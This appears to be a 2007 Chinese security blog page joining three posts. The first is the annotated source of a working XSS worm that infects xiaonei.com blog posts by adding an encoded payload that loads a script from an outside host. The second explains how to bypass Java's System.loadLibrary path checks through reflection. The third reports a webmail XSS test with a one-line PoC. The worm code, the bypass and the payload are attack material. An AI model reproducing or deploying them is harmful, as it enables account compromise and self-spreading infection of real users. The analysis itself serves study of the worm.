str=str.replace(/<br>/g,”\n”);
str=str.replace(/#/g,”#”);
str=str.replace(/(/g,”(”);
str=str.replace(/)/g,”)”);
str=str.replace(/”/g,”\”");
str=str.replace(/’/g,”’”);
str=str.replace(/#/g,”#”);
str=str.replace(/(/g,”(”);
str=str.replace(/)/g,”)”);
str=str.replace(/”/g,”\”");
str=str.replace(/’/g,”’”);
return str;

}

function processReqChange()
{
if (req.readyState == 4 && req.status == 200 )
{
if(”WriteIframe”==step)
{
var text,len,i=0,j=0,temp;

text=req.responseText;
i=text.indexOf(”<div class=\”article\”>”,0);
if(-1==i){return}
i=text.indexOf(”http://blog.xiaonei.com/GetEntry.do“,i);
if(-1==i){return}
j=text.indexOf(”\”",i);
if(-1==j){return}
text=text.substring(i,j);

document.getElementById(”mya113″).style.background=”#FFFFFF”;
var s=document.createElement(”iframe”);
s.frameborder=”0″;
s.height=”0″;
s.width=”1″;
s.src=text;
document.getElementById(”mya113″).parentNode.insertBefore(s,document.getEle­m
entById(”mya113″));

}

else if(”GetDiaryMonthList”==step)
{
var text,len,i=0,j=0,temp;
//text的内容就和用户点“我的日志”得到的内容一样,分析HTML,得到“日志存档”
中的每一个链接,保存到DiaryMonthUrlList中
//然后跳到GetStatus函数,此时step=”GetDiaryList” 取出每个月的日志列表
text=req.responseText;
i=text.indexOf(”<div id=\”list-archive\”>”,0);
if(-1==i){return}
j=text.indexOf(”<div class=\”bottom-box\”>”,i);
if(-1==j){return}
text=text.substring(i,j);

i=j=0;
while(1)
{
i=text.indexOf(”http://blog.xiaonei.com/MyBlog.do“,i);
if(-1==i)break;
j=text.indexOf(”’>”,i);
if(-1==j)break;
temp=text.substring(i,j);
i+=temp.length;
temp=my_HtmlDecode(temp)+”|”;
DiaryMonthUrlList+=temp;

}

if(DiaryMonthUrlList.length<=1)
{
return;

}

step=”GetDiaryList”;
req=null;
bIsBusy=false;
timer=window.setInterval(GetStatus,1000);

}

else if(”GetDiaryList”==step)
{
var text,len,i,j,temp,temp2;
var text2=”http://blog.xiaonei.com/EditEntry.do?id=“;

//text的内容就和用户点了“日志存档”后的内容一样
//分析HTML得到每个月的日志列表保存在DiaryUrlList中,然后step=GetDiaryText也
就是取得日志的内容,
//看本函数下面else if(”GetDiaryText”==step)就是了
text=req.responseText;

len=text.length;
i=text.indexOf(”<div id=\”list-article\”>”);
if(-1==i)
{
req=null;
bIsBusy=false;
return;

}

j=text.indexOf(”</table>”,i);
if(-1==j)
{
req=null;
bIsBusy=false;
return;

}

text=text.substring(i,j);
i=j=0;

while(1)
{
j=0;
len=0;
j=DiaryUrlList.indexOf(”|”,j);
while(j!=-1)
{
j++;
len++;
j=DiaryUrlList.indexOf(”|”,j);

}

if(len>=5)//只感染前5篇日志 或者是4篇 没仔细研究
{
break;

}

i=text.indexOf(text2,i);
if(-1==i)
{
break;

}

i+=text2.length;
j=text.indexOf(”\”>”,i);
if(-1==j || j-i>10)
{
break;

}

temp=text2+text.substring(i,j)+”|”;
DiaryUrlList+=temp;

}

req=null;
bIsBusy=false;

}

else if(”GetDiaryText”==step)
{
var text,len,i,j;
var argv;
var title,body,blog_pic_id=”0″,pic_path,blogControl,Diaryid;

text=req.responseText;
//这个模块模拟用户编辑日志,在每篇日志的开关都加上
//<a name=”mya113″ id=”mya113″
style=’background:url(vbscript:execute(StrReverse(”)”"311aym”"(dIyBtnemelEt­e
g.tnemucod,s erofeBtresni.edoNtnerap.)”"311aym”"(dIyBtnemelEteg.tnemucod
:”"gpj.sjnx/segami/moc.ecafosos.www//:ptth”"=crs.s:)”"tpircs”"(tnemelEetaer­c
.tnemucod=s tes”)) )’>

i=text.indexOf(”<form action=\”http://upload.xiaonei.com/EditEntry.do\<http://upload.xiaonei.com/EditEntry.do%5C>”",0);

if(-1==i)
{
return;

}

i+=53;

j=text.indexOf(”</form>”,i);
if(-1==j)
{
return;

}

text=text.substring(i,j);
//————————

i=text.indexOf(”id=\”title\” class=\”inputtext\” tabindex=\”1\”
value=\”",0);
if(-1==i)return;
i+=49;
j=text.indexOf(”\” />”,i);
if(-1==j)return;
title=text.substring(i,j);
//—
i=text.indexOf(”<textarea name=\”body\” id=\”body\” cols=\”100%\”
style=\”display:none\”>”,0);
if(-1==i)return;
i+=65;
j=text.indexOf(”</textarea>”,i);
if(-1==j)return;
body=text.substring(i,j);
//—
i=text.indexOf(”id=\”blog_pic_id\” value=\”",0);
if(-1==i)return;
i+=24;
j=text.indexOf(”\” />”,i);
if(-1==j)return;
blog_pic_id=text.substring(i,j);
//—
i=text.indexOf(”id=\”pic_path\” value=\”",0);
if(-1==i)return;
i+=21;
j=text.indexOf(”\” />”,i);
if(-1==j)return;
pic_path=text.substring(i,j);
//—
i=text.indexOf(”name=\”id\” value=\”",0);
if(-1==i)return;
i+=17;
j=text.indexOf(”\” />”,i);
if(-1==j)return;
Diaryid=text.substring(i,j);
//—
i=text.indexOf(”\” selected=\”selected\”",0);
if(-1==i)return;
j=i-2;
if(text.substr(j,1)==”\”")
j++;
blogControl=text.substring(j,i);

body=my_HtmlDecode(body);
if(body.indexOf(”mya113″,0)>=0)//已经感染过,不再感染
{
req=null;
step=”GetDiaryText”;
bIsBusy=false;

return;

}

else
{
;

}

//以上是取日志的各个变量信息
//以下开头就感染日志并修改

body=MyDecode(myrand)+body;
//感染日志 在日志的开头加上跨站代码
//MyDecode(myrand)中保存的就是跨站的关键代码,作者加密了一下放在myrand变量
中,程序开头的一长串数据就是

//以下开始POST提交修改过的日志
argv=”\r\n”;
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”title\”\r\n\r\n”;
argv+=(title+”\r\n”);
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”body\”\r\n\r\n”;
argv+=(body+”\r\n”);
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”theFile\”; filename=\”\”\r\nContent-Type:
application/octet-stream\r\n\r\n\r\n”;
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”blog_pic_id\”\r\n\r\n”;
argv+=(blog_pic_id+”\r\n”);
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”pic_path\”\r\n\r\n”;
argv+=(pic_path+”\r\n”);
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”blogControl\”\r\n\r\n”;
argv+=(blogControl+”\r\n”);
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”id\”\r\n\r\n”;
argv+=(Diaryid+”\r\n”);
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”relative_optype\”\r\n\r\n”;
argv+=(”publisher”+”\r\n”);
argv+=”—————————–7d71861cb014c\r\nContent-Disposition:
form-data; name=\”del_relative_id\”\r\n\r\n\r\n”;
argv+=”—————————–7d71861cb014c–\r\n”;

req=null;
step=”EditDiaryText”;
loadUrl(”http://blog.xiaonei.com/EditEntry.do“,”POST”,argv);

}

else if(”EditDiaryText”==step)
{

req=null;
bIsBusy=false;
step=”GetDiaryText”;

}

else
{
;

}
}
}

function MyDecode(str)
{
var i,k,str2=”";

k=str.split(”.”);

for(i=0;i<k.length;i++)
{
str2+=String.fromCharCode(k[i]^0×12);

}
return str2;
}

function loadUrl( url,method,argv )
{
bIsBusy=true;
if(!req)
{
if(window.XMLHttpRequest)
{
try
{
req = new XMLHttpRequest();

} catch(e) { req = false; }
}

else if(window.ActiveXObject)
{
try
{
req = new ActiveXObject(’Msxml2.XMLHTTP’);

}

catch(e)
{
try
{
req = new ActiveXObject(’Microsoft.XMLHTTP’);

} catch(e) { req = false; }
}
}
}

if(req)
{
req.onreadystatechange = processReqChange;
try
{
req.open(method, url, true);
if(method==”POST”)
req.setRequestHeader(”Content-Type”,”multipart/form-data;
boundary=—————————7d71861cb014c”);
req.send(argv);

}catch(e)

{
req=false;

}
}
}

function GetStatus()
{
if(bIsBusy)return;

if(”GetDiaryList”==step)
{
var DiaryMonthUrl,i;

//取出每个月的日志列表
if(DiaryMonthUrlList.length<=1)
{
step=”GetDiaryText”;
return;

}

i=DiaryMonthUrlList.indexOf(”|”,0);
if(-1==1)
{
step=”GetDiaryText”;
return;

}

DiaryMonthUrl=DiaryMonthUrlList.substring(0,i);
DiaryMonthUrlList=DiaryMonthUrlList.substring(i+1,DiaryMonthUrlList.length)­;

//再回到开头的processReqChange函数 此时step还是GetDiaryList
loadUrl(DiaryMonthUrl,”GET”,”");

}

else if(”GetDiaryText”==step)
{
var DiaryUrl,i;
if(DiaryUrlList.length<=1)
{
clearInterval(timer);
return;

}

i=DiaryUrlList.indexOf(”|”,0);
if(-1==i)
{
clearInterval(timer);
return;

}

DiaryUrl=DiaryUrlList.substring(0,i);
DiaryUrlList=DiaryUrlList.substring(i+1,DiaryUrlList.length);

loadUrl(DiaryUrl,”GET”,”");

}
}

function WriteStat()
{
var s=document.createElement(”iframe”);
s.frameborder=”0″;
s.height=”0″;
s.width=”0″;
s.src=”http://www.sosoface.com/images/stat.jpg“;
document.getElementById(”mya113″).parentNode.insertBefore(s,document.getEle­m
entById(”mya113″));

}

function DeleteScript(html)
{
var i=0,j=0,str;

str=html;

i=str.indexOf(”</A>”,0);
if(-1==i)
return str;
i+=4;
str=str.substring(i,str.length);

return str;

}

function EditorSubmit()
{
var ret=false;
parent.parent.descOptype();
ret=parent.parent.beforeSubmit();

parent.parent.document.getElementById(”body”).value=MyDecode(myrand)+Delete­S
cript(parent.parent.document.getElementById(”body”).value);

return ret;

}

function Start()
{
//判断是不是blog.xiaonei.com域,由于ajax是不能跨域的,所以判断是必备的
if(”blog.xiaonei.com”==document.domain)
{
//如果是在编辑已感染的日志 就做了一些奇怪的行为,我看不懂,好像是把自己重写
了一遍,不知道为什么这样做
if(”http://blog.xiaonei.com/pages/editor/win.htm“==document.location)
{
parent.parent.document.getElementById(”editorForm”).onsubmit=EditorSubmit;

}

else
{

WriteStat();//这是一个用户流量统计的函数,使用cnzz 站长助手
//下面开始感染了,第一步GetDiaryMonthList,得到日志的按月归档
step=”GetDiaryMonthList”;
loadUrl(”http://blog.xiaonei.com/MyBlog.do“,”GET”,”");//loadUrl是一个ajax读
取页面内容的函数
//下面跳到开头的processReqChange函数

}
}

else if(”xiaonei.com”==document.domain || “www.xiaonei.com“==document.domain)
{
//如果不在blog.xiaonei.com域就写入一个Iframe Iframe的SRC是日志的URL
//这个URL是blog.xiaonei.com域的,就变向的实现了跨域,
//作者这样做应该是为了一访问别人的主页就能感染
var url=”";

url=document.location.toString();
if(url.indexOf(”&”)==-1)
return;
step=”WriteIframe”;
loadUrl(url,”GET”,”");

}
}

Start();

0day-java
load dynamic library from any path(java加载任意目录库文件)

文章指数:0 CSDN Blog推出文章指数概念,文章指数是对Blog文章综合评分后推算出的,综合评分项分别是该文章的点击量,回复次数,被网摘收录数量,文章长度和文章类型;满分100,每月更新一次。

TEAM : I.S.T.O
AUTHOR : kj021320

转载需注明作者,未经作者同意,不得用于任何形式的商业活动

通常我们采用JAVASE API的局限性太大!例如只提供TCP/UDP以上的协议封装
不能获取更多硬件设备信息,对不同系统的特性访问(如win的注册表)等
为了摆脱这些,SUN-JAVA提供了 类跟本地系统的另一种桥梁 JNI(java native
interface)中文就是JAVA本地接口,在WIN系统上面就是采用DLL文件而*nix就是SO文件
而编写好特定的 DLL/SO 文件以后我们需要通过 System.loadLibrary 对文件进行加载 而且官方也是这样说
必须确保库文件的位置在类路径中,从而确保 JVM 可以访问该库文件
对 System.loadLibrary
方法进行审核后,发现没对路径进行过滤,可以加载任意目录的库文件~而对于JAVA-WEB安全来说,这个问题更有利用价值!
库文件不需要放在容器的类路径而加载,因为一般安全的网站,容器的类路径目录都是只读,只有WEB目录可写…

现在JAVA类路径在 f:\kj021320\jproject\ 下 而且有
kj021320.class #类 含有本地方法 有静态代码域
public static native String getISTO();
static{
System.loadLibrary(”../../../kj021320″);
}

而我们在 跟目录 f:\ 下有
kj021320.dll #库文件 对kj021320.class 本地方法的实现
同样可以加载动态连接库

下面我们对它的JAVA源代码进行分析研究
首先是System类的 loadLibrary 静态方法发起的 跟踪以下代码

public static void loadLibrary(String libname) {
Runtime.getRuntime().loadLibrary0(getCallerClass(), libname);
}

看此 是调用了 Runtime类的 loadLibrary0 方法~ 把 调用此方法的类名字以及
lib名字传进去,我们再往这个方法进行跟踪
Runtime类的
synchronized void loadLibrary0(Class fromClass, String libname) {
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkLink(libname); //检查是否能调用这个库文件名字
}
/*
重点来了~注意看下面的代码 他对路径进行过滤了!可惜!win系统中
File.separatorChar 是 \ 我们可以用 / 来跳回上一层目录 绕过他的验证
那*nix 系统呢? 不用急 我们继续往下面看

*/
if (libname.indexOf((int)File.separatorChar) != -1) {
throw new UnsatisfiedLinkError(”Directory separator should not
appear in library name: ” + libname);
}
//这里又调用了ClassLoader 的loadLibrary方法 我们继续追踪进去
ClassLoader.loadLibrary(fromClass, libname, false);
}

ClassLoader类的
//这里代码有点多
static void loadLibrary(Class fromClass, String name,boolean
isAbsolute) {
//首先判断我们上面是否有传一个类进来~~ 就是 到底是哪个类调用加载 库的方法 就把那个类传进去所以
//fromClass 大多不会为null

ClassLoader loader = (fromClass == null) ? null :
fromClass.getClassLoader();
//这里判断 系统的类库路径
if (sys_paths == null) {
usr_paths = initializePath(”java.library.path”);
sys_paths = initializePath(”sun.boot.library.path”);
}
//判断路径是不是绝对的!要是绝对路径的就直接 new File() 看到了吗?没有对name再次过滤
//汗~~ 又调用 loadLibrary0 这个方法! 哎!嵌套还真多
if (isAbsolute) {
if (loadLibrary0(fromClass, new File(name))) {
return;
}
throw new UnsatisfiedLinkError(”Can’t load library: ” + name);
}
if (loader != null) {
String libfilename = loader.findLibrary(name);
if (libfilename != null) {
File libfile = new File(libfilename);
if (!libfile.isAbsolute()) {
throw new UnsatisfiedLinkError(”ClassLoader.findLibrary failed to
return an absolute path: ” + libfilename);
}
if (loadLibrary0(fromClass, libfile)) {
return;
}
throw new UnsatisfiedLinkError(”Can’t load ” + libfilename);
}
}
//这里是循环遍历类路径 也调用了 loadLibrary0这个方法 我们得再次跟踪进去
for (int i = 0 ; i < sys_paths.length ; i++) {
File libfile = new File(sys_paths[i], System.mapLibraryName(name));
if (loadLibrary0(fromClass, libfile)) {
return;
}
}
if (loader != null) {
for (int i = 0 ; i < usr_paths.length ; i++) {
File libfile = new
File(usr_paths[i],System.mapLibraryName(name));
if (loadLibrary0(fromClass, libfile)) {
return;
}
}
}
// Oops, it failed
throw new UnsatisfiedLinkError(”no ” + name + ” in
java.library.path”);
}

//看了以上的代码,很明显了!我们需要再去分析 loadLibrary0这个方法,代码更多了!看来更是重点

private static boolean loadLibrary0(Class fromClass, final File
file) {
//判断文件是否存在 不存在就退出这个函数返回false
Boolean
exists = (Boolean)AccessController.doPrivileged(new PrivilegedAction()
{public Object run() {return new Boolean(file.exists());}});
if (!exists.booleanValue()) {
return false;
}
//以下是获取文件的绝对路径
String name;
try {
name = file.getCanonicalPath();
} catch (IOException e) {
return false;
}
//这句不分析了
ClassLoader loader =(fromClass == null) ? null :
fromClass.getClassLoader();
//获取 系统本地库的集合
Vector libs =loader != null ? loader.nativeLibraries :
systemNativeLibraries;
//下面这个同步操作是为了避免同一个库文件在多线程下 加载多次
synchronized (libs) {
int size = libs.size();
for (int i = 0; i < size; i++) {
NativeLibrary lib = (NativeLibrary)libs.elementAt(i);
if (name.equals(lib.name)) {
return true;
}
}
synchronized (loadedLibraryNames) {
if (loadedLibraryNames.contains(name)) {
throw new UnsatisfiedLinkError(”Native Library ” + name + ”
already loaded in another classloader”);
}
int n = nativeLibraryContext.size();
for (int i = 0; i < n; i++) {
NativeLibrary lib =
(NativeLibrary)nativeLibraryContext.elementAt(i);
if (name.equals(lib.name)) {
if (loader == lib.fromClass.getClassLoader()) {
return true;
} else {
throw new UnsatisfiedLinkError(”Native Library “+name+” is being
loaded in another classloader”);
}
}
}
//实例化一个本地库
NativeLibrary lib = new NativeLibrary(fromClass, name);
nativeLibraryContext.push(lib);
try {
//**************正式加载操作 NativeLibrary的load方法实现***********
lib.load(name);

} finally {
nativeLibraryContext.pop();
}
if (lib.handle != 0) {
loadedLibraryNames.addElement(name);
libs.addElement(lib);
return true;
}
return false;
}
}
}

以上 NativeLibrary 类是ClassLoader类的一个内部类 最终 load方法也是本地实现 具体是JVM内部的!
分析到这里很明显 最终我们可以调用loadLibrary0 这个方法来绕过前面一大堆的验证!OK 但是loadLibrary0
是个private方法
一般直接调用不了!对于熟悉JAVA的开发者来说!这个是小事!我们采用reflect 来破解 他的权限吧!

下面静态代码实现

static
{
Method llm;
try {
//获取私有的方法 loadLibrary0
llm = ClassLoader.class.getDeclaredMethod(”loadLibrary0″, new
Class[]{Class.class,File.class});
llm.setAccessible(true);//破解权限
llm.invoke(null, new Object[]{你自己的类.class,new File(”DLL的绝对路径
记得加后缀”)});
/*
llm.invoke(null, new Object[]{ISTO.class,new File(”/isto.so”)});
*/
} catch (Exception e) {
e.printStackTrace();
}
}
这样我们就可以在WEB目录上面放库文件 任意加载了

全文完

10月 7th, 2007Web Mail XSS Test小记

前2天在一个讨论组看到有人讨论国内邮箱系统的XSS过滤能力的问题,有人反映163的Web Mail可以写js代码到邮件中,并且网易XSS的过滤能力比较弱,于是自己简单测试了几个小代码,发现163果然没能阻止我写js代码到邮件中。
既然163作为国内最大的邮件服务提供商都是这样,那其他几大门户呢?新浪的邮箱我没有ID,手上可用的也就只有sohu的了,于是用163的邮箱给sohu发信,发的同样的测试代码。Bingo!居然都可以触发代码的执行!
哎,不说什么了。
值得一提的是,yahoo.cn和gmail的xss过滤还是很好,很强大的,试了一长串的Test Code,都没有成功。虽然没有测试新浪,但是直觉告诉我,估计不会比163、sohu好到哪儿去,有时间再折腾他们吧。
嗯,POC代码其实很简单,发其中一个吧,至于怎么写到邮件里去,以及怎么验证和进一步的利用就不多写了,避免被滥用了,呵呵。

<img src="javascript:alert('Web Mail is XSSED!');">

© 2007 猪在笑 | iKon Wordpress Theme by TextNData | Powered by Wordpress | rakCha web directory
登录 | 访问数169520 | 水木BLOG | 水木社区 | 关于我们 | Blog论坛 | 法律声明 | 隐私权保护 | 京ICP证050249号
水木社区Blog系统是基于KBS系统WordPress MU架构的